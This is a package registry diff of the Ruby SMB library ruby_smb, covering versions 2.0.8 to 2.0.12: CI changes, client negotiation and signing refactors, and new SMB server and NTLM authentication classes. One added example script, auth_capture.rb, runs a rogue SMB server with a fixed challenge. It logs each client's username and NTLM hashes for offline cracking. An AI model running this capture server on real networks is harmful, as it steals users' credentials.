ruby_smb 2.0.8 → 2.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. checksums.yaml +4 -4
  2. checksums.yaml.gz.sig +0 -0
  3. data/.github/workflows/verify.yml +5 -15
  4. data/examples/auth_capture.rb +71 -0
  5. data/lib/ruby_smb/client/negotiation.rb +9 -11
  6. data/lib/ruby_smb/client.rb +30 -25
  7. data/lib/ruby_smb/dialect.rb +45 -0
  8. data/lib/ruby_smb/dispatcher/base.rb +1 -1
  9. data/lib/ruby_smb/gss/provider/authenticator.rb +42 -0
  10. data/lib/ruby_smb/gss/provider/ntlm.rb +303 -0
  11. data/lib/ruby_smb/gss/provider.rb +35 -0
  12. data/lib/ruby_smb/gss.rb +56 -63
  13. data/lib/ruby_smb/ntlm.rb +45 -0
  14. data/lib/ruby_smb/server/server_client/negotiation.rb +156 -0
  15. data/lib/ruby_smb/server/server_client/session_setup.rb +82 -0
  16. data/lib/ruby_smb/server/server_client.rb +162 -0
  17. data/lib/ruby_smb/server.rb +54 -0
  18. data/lib/ruby_smb/signing.rb +59 -0
  19. data/lib/ruby_smb/smb1/packet/negotiate_response.rb +11 -11
  20. data/lib/ruby_smb/smb1/packet/negotiate_response_extended.rb +1 -1
  21. data/lib/ruby_smb/smb1/packet/session_setup_request.rb +1 -1
  22. data/lib/ruby_smb/smb1/tree.rb +1 -1
  23. data/lib/ruby_smb/smb2/negotiate_context.rb +18 -2
  24. data/lib/ruby_smb/smb2/packet/negotiate_request.rb +9 -0
  25. data/lib/ruby_smb/smb2/packet/negotiate_response.rb +0 -1
  26. data/lib/ruby_smb/smb2/packet/session_setup_response.rb +2 -2
  27. data/lib/ruby_smb/smb2/packet/tree_connect_request.rb +1 -1
  28. data/lib/ruby_smb/smb2/tree.rb +1 -1
  29. data/lib/ruby_smb/smb2.rb +3 -1
  30. data/lib/ruby_smb/version.rb +1 -1
  31. data/lib/ruby_smb.rb +2 -1
  32. data/spec/lib/ruby_smb/client_spec.rb +24 -16
  33. data/spec/lib/ruby_smb/gss/provider/ntlm/account_spec.rb +32 -0
  34. data/spec/lib/ruby_smb/gss/provider/ntlm/authenticator_spec.rb +101 -0
  35. data/spec/lib/ruby_smb/gss/provider/ntlm/os_version_spec.rb +32 -0
  36. data/spec/lib/ruby_smb/gss/provider/ntlm_spec.rb +113 -0
  37. data/spec/lib/ruby_smb/server/server_client_spec.rb +156 -0
  38. data/spec/lib/ruby_smb/server_spec.rb +32 -0
  39. data/spec/lib/ruby_smb/smb1/tree_spec.rb +4 -4
  40. data/spec/lib/ruby_smb/smb2/negotiate_context_spec.rb +2 -2
  41. data/spec/lib/ruby_smb/smb2/tree_spec.rb +5 -5
  42. data.tar.gz.sig +0 -0
  43. metadata +25 -3
  44. metadata.gz.sig +0 -0
  45. data/lib/ruby_smb/client/signing.rb +0 -64
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: e3cfb7914736c49c84c366382e133ea0c2e9a5ecb6f0a3badceb498652bbaa76
4
- data.tar.gz: 6f47a0ad156545a259d0496f9e1c59d50b6327889600b6acda0e93ec5c835963
3
+ metadata.gz: e390e96aa471e87e6406cf5b7eae77a4c45f882201f4132d3243eb25506554dc
4
+ data.tar.gz: 65620d67c3dbfbf2d3f795856c8da03207a8df32aa439a6f6a0b5d46b385dd31
5
5
  SHA512:
6
- metadata.gz: 90c181090093eeb71d4ef508a2b1e7b75ccb31b7e40cdee973397f7554af1085e8b39a518f43e9e4e3eba5fd12d0677d1f059ed614eab8dfb5b0db74a956236a
7
- data.tar.gz: 443e97e78383d44deb155c0d6e3ca8bc3923c49b2561fa41670e09d7916cdfaa7223143a29b24697699e7470cdcaf6f71a2e0e4167d8c19a7b80b2fc56b2a555
6
+ metadata.gz: 0c252450305e217779de4c1bf6850fa55f12c95d6380795f6940c0451d33c64f1287ab13f6a373d1dcaa1752d399dac04fd0e358a49000335deba27d46ab8fc7
7
+ data.tar.gz: 2734dd65b1a84a03fdd914a6877640107caf6bcf561f3a41b769ef947e21276bc8759859ac4a36ba0b2ccfe15778ff06c234ff41dabf9ea4563a74a95ea1b891
checksums.yaml.gz.sig CHANGED
Binary file
@@ -10,7 +10,7 @@ on:
10
10
 
11
11
  jobs:
12
12
  test:
13
- runs-on: ubuntu-16.04
13
+ runs-on: ubuntu-18.04
14
14
  timeout-minutes: 40
15
15
 
16
16
  strategy:
@@ -20,6 +20,7 @@ jobs:
20
20
  - 2.5
21
21
  - 2.6
22
22
  - 2.7
23
+ - 3.0
23
24
  test_cmd:
24
25
  - bundle exec rspec
25
26
 
@@ -31,23 +32,12 @@ jobs:
31
32
  - name: Checkout code
32
33
  uses: actions/checkout@v2
33
34
 
34
- - uses: actions/setup-ruby@v1
35
+ - name: Setup Ruby
36
+ uses: ruby/setup-ruby@v1
35
37
  with:
36
38
  ruby-version: ${{ matrix.ruby }}
39
+ bundler-cache: true
37
40
 
38
- - name: Setup bundler
39
- run: |
40
- gem install bundler
41
- - uses: actions/cache@v2
42
- with:
43
- path: vendor/bundle
44
- key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
45
- restore-keys: |
46
- ${{ runner.os }}-gems-
47
- - name: Bundle install
48
- run: |
49
- bundle config path vendor/bundle
50
- bundle install --jobs 4 --retry 3
51
41
  - name: ${{ matrix.test_cmd }}
52
42
  run: |
53
43
  echo "${CMD}"
@@ -0,0 +1,71 @@
1
+ #!/usr/bin/ruby
2
+
3
+ require 'bundler/setup'
4
+ require 'ruby_smb'
5
+ require 'ruby_smb/gss/provider/ntlm'
6
+
7
+ # we just need *a* default encoding to handle the strings from the NTLM messages
8
+ Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
9
+
10
+ def bin_to_hex(s)
11
+ s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
12
+ end
13
+
14
+ # this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
15
+ class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
16
+ class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
17
+ # override the NTLM type 3 process method to extract all of the valuable information
18
+ def process_ntlm_type3(type3_msg)
19
+ username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
20
+ _, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
21
+
22
+ hash_type = nil
23
+ hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
24
+
25
+ case type3_msg.ntlm_version
26
+ when :ntlmv1
27
+ hash_type = 'NTLMv1-SSP'
28
+ hash << ":#{bin_to_hex(type3_msg.lm_response)}"
29
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
30
+ hash << ":#{bin_to_hex(@server_challenge)}"
31
+ when :ntlmv2
32
+ hash_type = 'NTLMv2-SSP'
33
+ hash << ":#{bin_to_hex(@server_challenge)}"
34
+ # NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
35
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
36
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
37
+ end
38
+
39
+ unless hash_type.nil?
40
+ version = @server_client.metadialect.version_name
41
+ puts "[#{version}] #{hash_type} Client : #{client}"
42
+ puts "[#{version}] #{hash_type} Username : #{username}"
43
+ puts "[#{version}] #{hash_type} Hash : #{hash}"
44
+ end
45
+
46
+ WindowsError::NTStatus::STATUS_ACCESS_DENIED
47
+ end
48
+ end
49
+
50
+ def new_authenticator(server_client)
51
+ # build and return an instance that can process and track stateful information for a particular connection but
52
+ # that's backed by this particular provider
53
+ Authenticator.new(self, server_client)
54
+ end
55
+
56
+ # we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
57
+ def generate_server_challenge(&block)
58
+ "\x11\x22\x33\x44\x55\x66\x77\x88"
59
+ end
60
+ end
61
+
62
+ # define a new server with the custom authentication provider
63
+ server = RubySMB::Server.new(
64
+ gss_provider: HaxorNTLMProvider.new
65
+ )
66
+ puts "server is running"
67
+ server.run do
68
+ puts "received connection"
69
+ # accept all of the connections and run forever
70
+ true
71
+ end
@@ -57,15 +57,20 @@ module RubySMB
57
57
 
58
58
  # Takes the raw response data from the server and tries
59
59
  # parse it into a valid Response packet object.
60
- # This method currently assumes that all SMB1 will use Extended Security.
61
60
  #
62
61
  # @param raw_data [String] the raw binary response from the server
63
62
  # @return [RubySMB::SMB1::Packet::NegotiateResponseExtended] when the response is an SMB1 Extended Security Negotiate Response Packet
63
+ # @return [RubySMB::SMB1::Packet::NegotiateResponse] when the response is an SMB1 Negotiate Response Packet
64
64
  # @return [RubySMB::SMB2::Packet::NegotiateResponse] when the response is an SMB2 Negotiate Response Packet
65
65
  def negotiate_response(raw_data)
66
66
  response = nil
67
67
  if smb1
68
68
  packet = RubySMB::SMB1::Packet::NegotiateResponseExtended.read raw_data
69
+
70
+ unless packet.valid?
71
+ packet = RubySMB::SMB1::Packet::NegotiateResponse.read raw_data
72
+ end
73
+
69
74
  response = packet if packet.valid?
70
75
  end
71
76
  if (smb2 || smb3) && response.nil?
@@ -74,17 +79,10 @@ module RubySMB
74
79
  end
75
80
  if response.nil?
76
81
  if packet.packet_smb_version == 'SMB1'
77
- extended_security = if packet.is_a? RubySMB::SMB1::Packet::NegotiateResponseExtended
78
- packet.parameter_block.capabilities.extended_security
79
- else
80
- "n/a"
81
- end
82
82
  raise RubySMB::Error::InvalidPacket.new(
83
83
  expected_proto: RubySMB::SMB1::SMB_PROTOCOL_ID,
84
- expected_cmd: RubySMB::SMB1::Packet::NegotiateResponseExtended::COMMAND,
85
- expected_custom: "extended_security=1",
86
- packet: packet,
87
- received_custom: "extended_security=#{extended_security}"
84
+ expected_cmd: RubySMB::SMB1::Packet::NegotiateResponse::COMMAND,
85
+ packet: packet
88
86
  )
89
87
  elsif packet.packet_smb_version == 'SMB2'
90
88
  raise RubySMB::Error::InvalidPacket.new(
@@ -123,7 +121,7 @@ module RubySMB
123
121
  'SMB1'
124
122
  when RubySMB::SMB2::Packet::NegotiateResponse
125
123
  self.smb1 = false
126
- unless packet.dialect_revision.to_i == 0x02ff
124
+ unless packet.dialect_revision.to_i == RubySMB::SMB2::SMB2_WILDCARD_REVISION
127
125
  self.smb2 = packet.dialect_revision.to_i >= 0x0200 && packet.dialect_revision.to_i < 0x0300
128
126
  self.smb3 = packet.dialect_revision.to_i >= 0x0300 && packet.dialect_revision.to_i < 0x0400
129
127
  end
@@ -2,18 +2,19 @@ module RubySMB
2
2
  # Represents an SMB client capable of talking to SMB1 or SMB2 servers and handling
3
3
  # all end-user client functionality.
4
4
  class Client
5
+ require 'ruby_smb/ntlm'
6
+ require 'ruby_smb/signing'
5
7
  require 'ruby_smb/client/negotiation'
6
8
  require 'ruby_smb/client/authentication'
7
- require 'ruby_smb/client/signing'
8
9
  require 'ruby_smb/client/tree_connect'
9
10
  require 'ruby_smb/client/echo'
10
11
  require 'ruby_smb/client/utils'
11
12
  require 'ruby_smb/client/winreg'
12
13
  require 'ruby_smb/client/encryption'
13
14
 
15
+ include RubySMB::Signing
14
16
  include RubySMB::Client::Negotiation
15
17
  include RubySMB::Client::Authentication
16
- include RubySMB::Client::Signing
17
18
  include RubySMB::Client::TreeConnect
18
19
  include RubySMB::Client::Echo
19
20
  include RubySMB::Client::Utils
@@ -277,7 +278,8 @@ module RubySMB
277
278
  # @param smb1 [Boolean] whether or not to enable SMB1 support
278
279
  # @param smb2 [Boolean] whether or not to enable SMB2 support
279
280
  # @param smb3 [Boolean] whether or not to enable SMB3 support
280
- def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.', local_workstation: 'WORKSTATION', always_encrypt: true)
281
+ def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.',
282
+ local_workstation: 'WORKSTATION', always_encrypt: true, ntlm_flags: default_flags)
281
283
  raise ArgumentError, 'No Dispatcher provided' unless dispatcher.is_a? RubySMB::Dispatcher::Base
282
284
  if smb1 == false && smb2 == false && smb3 == false
283
285
  raise ArgumentError, 'You must enable at least one Protocol'
@@ -306,18 +308,12 @@ module RubySMB
306
308
  # SMB 3.x options
307
309
  @session_encrypt_data = always_encrypt
308
310
 
309
- negotiate_version_flag = 0x02000000
310
- flags = Net::NTLM::Client::DEFAULT_FLAGS |
311
- Net::NTLM::FLAGS[:TARGET_INFO] |
312
- negotiate_version_flag ^
313
- Net::NTLM::FLAGS[:OEM]
314
-
315
311
  @ntlm_client = Net::NTLM::Client.new(
316
312
  @username,
317
313
  @password,
318
314
  workstation: @local_workstation,
319
315
  domain: @domain,
320
- flags: flags
316
+ flags: ntlm_flags
321
317
  )
322
318
 
323
319
  @tree_connects = []
@@ -368,31 +364,28 @@ module RubySMB
368
364
 
369
365
  # Performs protocol negotiation and session setup. It defaults to using
370
366
  # the credentials supplied during initialization, but can take a new set of credentials if needed.
371
- def login(username: self.username, password: self.password, domain: self.domain, local_workstation: self.local_workstation)
367
+ def login(username: self.username, password: self.password,
368
+ domain: self.domain, local_workstation: self.local_workstation,
369
+ ntlm_flags: default_flags)
372
370
  negotiate
373
- session_setup(username, password, domain, true,
374
- local_workstation: local_workstation)
371
+ session_setup(username, password, domain,
372
+ local_workstation: local_workstation,
373
+ ntlm_flags: ntlm_flags)
375
374
  end
376
375
 
377
376
  def session_setup(user, pass, domain, do_recv=true,
378
- local_workstation: self.local_workstation)
377
+ local_workstation: self.local_workstation, ntlm_flags: default_flags)
379
378
  @domain = domain
380
379
  @local_workstation = local_workstation
381
380
  @password = pass.encode('utf-8') || ''.encode('utf-8')
382
381
  @username = user.encode('utf-8') || ''.encode('utf-8')
383
382
 
384
- negotiate_version_flag = 0x02000000
385
- flags = Net::NTLM::Client::DEFAULT_FLAGS |
386
- Net::NTLM::FLAGS[:TARGET_INFO] |
387
- negotiate_version_flag ^
388
- Net::NTLM::FLAGS[:OEM]
389
-
390
383
  @ntlm_client = Net::NTLM::Client.new(
391
384
  @username,
392
385
  @password,
393
386
  workstation: @local_workstation,
394
387
  domain: @domain,
395
- flags: flags
388
+ flags: ntlm_flags
396
389
  )
397
390
 
398
391
  authenticate
@@ -444,14 +437,14 @@ module RubySMB
444
437
  when 'SMB1'
445
438
  packet.smb_header.uid = self.user_id if self.user_id
446
439
  packet.smb_header.pid_low = self.pid if self.pid
447
- packet = smb1_sign(packet)
440
+ packet = smb1_sign(packet) if signing_required && !session_key.empty?
448
441
  when 'SMB2'
449
442
  packet = increment_smb_message_id(packet)
450
443
  packet.smb2_header.session_id = session_id
451
- unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
452
- if self.smb2
444
+ unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) || session_key.empty?
445
+ if self.smb2 && signing_required
453
446
  packet = smb2_sign(packet)
454
- elsif self.smb3
447
+ elsif self.smb3 && (signing_required || packet.is_a?(RubySMB::SMB2::Packet::TreeConnectRequest))
455
448
  packet = smb3_sign(packet)
456
449
  end
457
450
  end
@@ -654,5 +647,17 @@ module RubySMB
654
647
  @preauth_integrity_hash_value + data.to_binary_s
655
648
  )
656
649
  end
650
+
651
+ private
652
+
653
+ def default_flags
654
+ negotiate_version_flag = 0x02000000
655
+ flags = Net::NTLM::Client::DEFAULT_FLAGS |
656
+ RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
657
+ negotiate_version_flag ^
658
+ RubySMB::NTLM::NEGOTIATE_FLAGS[:OEM]
659
+
660
+ flags
661
+ end
657
662
  end
658
663
  end
@@ -0,0 +1,45 @@
1
+ module RubySMB
2
+ # Definitions that define metadata around a particular SMB dialect. This is useful for grouping dialects into a
3
+ # hierarchy as well as printing them as human readable strings with varying degrees of specificity.
4
+ module Dialect
5
+ # the order (taxonomic ranking) of the family, 2 and 3 are intentionally combined
6
+ ORDER_SMB1 = 'SMB1'.freeze
7
+ ORDER_SMB2 = 'SMB2'.freeze
8
+
9
+ # the family of the dialect
10
+ FAMILY_SMB1 = 'SMB 1'.freeze
11
+ FAMILY_SMB2 = 'SMB 2.x'.freeze
12
+ FAMILY_SMB3 = 'SMB 3.x'.freeze
13
+
14
+ # the major version of the dialect
15
+ VERSION_SMB1 = 'SMB v1'.freeze
16
+ VERSION_SMB2 = 'SMB v2'.freeze
17
+ VERSION_SMB3 = 'SMB v3'.freeze
18
+
19
+ # the names are meant to be human readable and may change in the future, use the #dialect, #order and #family
20
+ # attributes for any programmatic comparisons
21
+ Definition = Struct.new(:dialect, :order, :family, :version_name, :full_name) do
22
+ alias_method :short_name, :version_name
23
+ end
24
+
25
+ ALL = [
26
+ Definition.new('NT LM 0.12', ORDER_SMB1, FAMILY_SMB1, VERSION_SMB1, 'SMB v1 (NT LM 0.12)'.freeze),
27
+ Definition.new('0x0202', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.0.2'.freeze),
28
+ Definition.new('0x0210', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.1'.freeze),
29
+ Definition.new('0x02ff', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB 2.???'.freeze), # wildcard revision
30
+ Definition.new('0x0300', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0'.freeze),
31
+ Definition.new('0x0302', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0.2'.freeze),
32
+ Definition.new('0x0311', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.1.1'.freeze)
33
+ ].map { |definition| [definition.dialect, definition] }.to_h
34
+
35
+ #
36
+ # Retrieve a dialect definition. The definition contains metadata describing the particular dialect.
37
+ #
38
+ # @param [Integer, String] dialect the dialect to retrieve the definition for
39
+ # @return [Definition, nil] the definition if it was found
40
+ def self.[](dialect)
41
+ dialect = '0x%04x' % dialect if dialect.is_a? Integer
42
+ ALL[dialect]
43
+ end
44
+ end
45
+ end
@@ -9,7 +9,7 @@ module RubySMB
9
9
  def nbss(packet)
10
10
  nbss = RubySMB::Nbss::SessionHeader.new
11
11
  nbss.session_packet_type = RubySMB::Nbss::SESSION_MESSAGE
12
- nbss.stream_protocol_length = packet.do_num_bytes
12
+ nbss.stream_protocol_length = packet.do_num_bytes.to_i
13
13
  nbss.to_binary_s
14
14
  end
15
15
 
@@ -0,0 +1,42 @@
1
+ module RubySMB
2
+ module Gss
3
+ module Provider
4
+ module Authenticator
5
+ #
6
+ # The base class for a GSS provider's unique authenticator. This provides a common interface and is not usable
7
+ # on it's own. The provider-specific authentication logic is defined within this authenticator class which
8
+ # actually runs the authentication routine.
9
+ #
10
+ class Base
11
+ # @param [Provider::Base] provider the GSS provider that this instance is an authenticator for
12
+ # @param server_client the client instance that this will be an authenticator for
13
+ def initialize(provider, server_client)
14
+ @provider = provider
15
+ @server_client = server_client
16
+ @session_key = nil
17
+ reset!
18
+ end
19
+
20
+ #
21
+ # Process a GSS authentication buffer. If no buffer is specified, the request is assumed to be the first in
22
+ # the negotiation sequence.
23
+ #
24
+ # @param [String, nil] buffer the request GSS request buffer that should be processed
25
+ # @return [Gss::Provider::Result] the result of the processed GSS request
26
+ def process(request_buffer=nil)
27
+ raise NotImplementedError
28
+ end
29
+
30
+ #
31
+ # Reset the authenticator's state, wiping anything related to a partial or complete authentication process.
32
+ #
33
+ def reset!
34
+ @session_key = nil
35
+ end
36
+
37
+ attr_accessor :session_key
38
+ end
39
+ end
40
+ end
41
+ end
42
+ end